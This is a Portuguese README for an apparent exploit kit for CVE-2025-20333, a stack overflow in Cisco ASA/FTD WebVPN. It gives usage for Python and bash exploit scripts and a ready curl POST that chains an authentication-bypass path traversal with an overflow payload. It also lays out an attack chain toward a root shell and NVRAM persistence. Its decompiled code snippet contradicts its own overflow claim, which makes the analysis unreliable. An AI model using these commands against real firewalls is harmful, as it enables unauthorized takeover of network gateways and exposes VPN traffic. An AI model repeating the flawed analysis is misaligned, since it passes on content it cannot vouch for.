
Ferramenta completa de pesquisa e exploração para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha no WebVPN do Cisco ASA/FTD. Inclui análise binária detalhada, exploits de PoC em Python e bash, e guia de exploração.
Este diretório contém pesquisa abrangente, análise e código de prova de conceito para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha em servidores WebVPN Cisco ASA/FTD.
Status: ⚠️ Explorada ativamente na natureza (campanha ArcaneDoor)
Pontuação CVSS: 9.8 Crítica
Autenticado: Não (contornada via CVE-2025-20362)
Impacto: Execução Remota de Código como root
CVE-2025-20333-RESEARCH-NOTES.md ()Pesquisa completa de engenharia reversa
Descoberta Principal:
Buffer fixo de 16 bytes (local_58[16]) em body_lexer.re2c
O loop de decodificação de URL NÃO TEM VERIFICAÇÃO DE LIMITES
Escrita em local_58[iVar11] sem verificar se iVar11 < 16
Após 8 pares hexadecimais: estouro → corrupção da pilha → RCE
EXPLOITATION-GUIDE.md (12 KB)Manual prático de exploração
cve-2025-20333-poc.py (15 KB)Exploit Python completo
Recursos:
Uso:
# Exibir detalhes da vulnerabilidade
python3 cve-2025-20333-poc.py --details
# Explorar alvo
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Configurações personalizadas
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)Exploit bash leve
Recursos:
Uso:
# Exibir detalhes
./cve-2025-20333-poc.sh --details
# Explorar
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manual com curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2025-20333 |
| Tipo | Estouro de Buffer na Pilha (CWE-120) |
| Componente | body_lexer.re2c (FUN_0302e690) |
| Versões Afetadas | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Crítica) |
| Autenticação | Não necessária (via CVE-2025-20362) |
| Interação do Usuário | Nenhuma |
| Impacto | RCE como root, comprometimento total do sistema |
| Status | Explorada ativamente (maio de 2025+) |
| Divulgação Responsável | Cisco corrigiu; advisory publicado |
// body_lexer.re2c - Loop de decodificação de URL
byte local_58[16]; // ← Buffer fixo de 16 bytes
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← SEM VERIFICAÇÃO DE LIMITES!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Gatilho do Estouro: 9+ sequências consecutivas de %XX no corpo do POST
1. Atacante (SEM AUTENTICAÇÃO necessária)
↓
2. HTTP POST para /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: Path traversal contorna verificação de autenticação
└─ Alcança endpoint files_retr.lua (auth_flag = 0)
↓
3. Corpo do POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ pares codificados em URL)
↓
4. body_lexer.re2c processa o corpo do POST
├─ Acumula pares hexadecimais em local_58[16]
└─ Após 8 pares: ESTOURO!
↓
5. Corrupção da pilha
├─ Sobrescreve local_48, local_40
├─ Sobrescreve RBP salvo
└─ Sobrescreve RIP salvo (endereço de retorno)
↓
6. Sequestro do fluxo de controle
├─ RIP aponta para gadgets ROP
├─ Cadeia ROP configura execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE como root (processo lina roda como root)
├─ Comprometimento total do servidor VPN
├─ Acesso a todo o tráfego VPN
└─ Persistência via modificação da NVRAM
lina no Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] sem verificação de limitesVerifique a Autorização
Execute o Exploit
# Verificação rápida: O alvo responde à tentativa de exploit?
python3 cve-2025-20333-poc.py <target_ip>
# Ou versão bash:
./cve-2025-20333-poc.sh <target_ip>
Verifique a Exploração
Documente as Descobertas
Leia as Notas de Pesquisa
CVE-2025-20333-RESEARCH-NOTES.mdEstude os PoCs
Adapte e Estenda
⚠️ AVISO LEGAL
Este kit é fornecido apenas para testes de segurança autorizados.
✅ Uso Autorizado:
❌ Uso Proibido:
cve-2025-20333/
├── README.md (este arquivo)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB, pesquisa abrangente)
├── EXPLOITATION-GUIDE.md (12 KB, guia prático)
├── cve-2025-20333-poc.py (15 KB, PoC em Python)
└── cve-2025-20333-poc.sh (8.5 KB, PoC em bash)
Documentação Total: ~65 KB
Profundidade da Pesquisa: 50+ funções Ghidra auditadas
Descobertas Verificadas: Estouro de buffer em body_lexer.re2c confirmado
# Teste se o alvo é vulnerável à exploração
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# Se o alvo responder (200, 500, crash), pode estar vulnerável
# Se o alvo bloquear/redirecionar, pode estar corrigido
# Versões vulneráveis:
# - Cisco ASA 9.16 até 9.23
# - Cisco FTD 7.0 até 7.7
# Use SSH/console para verificar a versão do ASA:
show version
# Versões corrigidas:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (corrigidas)
Este kit é fornecido COMO ESTÁ para fins educacionais e testes autorizados apenas.
Este projeto foi desenvolvido com assistência do Claude Code, assistente de codificação com IA da Anthropic.
Criado: 2026-08-23
Período de Pesquisa: 2026-08-22 a 2026-08-23
Status: Completo e Documentado
Classificação: Educacional / Somente Testes Autorizados